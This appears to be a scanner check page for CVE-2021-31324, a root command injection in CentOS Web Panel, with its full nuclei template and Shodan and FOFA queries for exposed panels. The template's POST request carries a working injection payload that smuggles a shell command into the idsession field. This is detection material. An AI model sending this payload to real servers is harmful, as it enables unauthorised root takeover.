CentOS Web Panel - OS Command Injection

criticalseverity

9.8CVSS score

34.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.

Impact

Unauthenticated attackers can execute arbitrary OS commands with root privileges via command injection in the idsession parameter, leading to complete server compromise.

Fix

Apply security updates provided by CentOS Web Panel.

How to confirm it

Send: GET /
Positive when: contains(header, "cwpsrv")
Send: POST /login/index.php?acc=newpass
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/

Run it with nuclei: nuclei -id CVE-2021-31324 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31324

info:
  name: CentOS Web Panel - OS Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with root privileges via command injection in the idsession parameter, leading to complete server compromise.
  remediation: |
    Apply security updates provided by CentOS Web Panel.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31324
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31324
    cwe-id: CWE-78
    epss-score: 0.34619
    epss-percentile: 0.98434
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,os,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a%27+UNION+SELECT%27a%27%2C%27b%27%2C%27c%27%2C%27YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO2lkOyNgfHxhfHxifHxjfHxk%27%2C%27e%27%2C%27f%27--+p

    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

References

Use this check only on systems you are authorised to test. Where the data comes from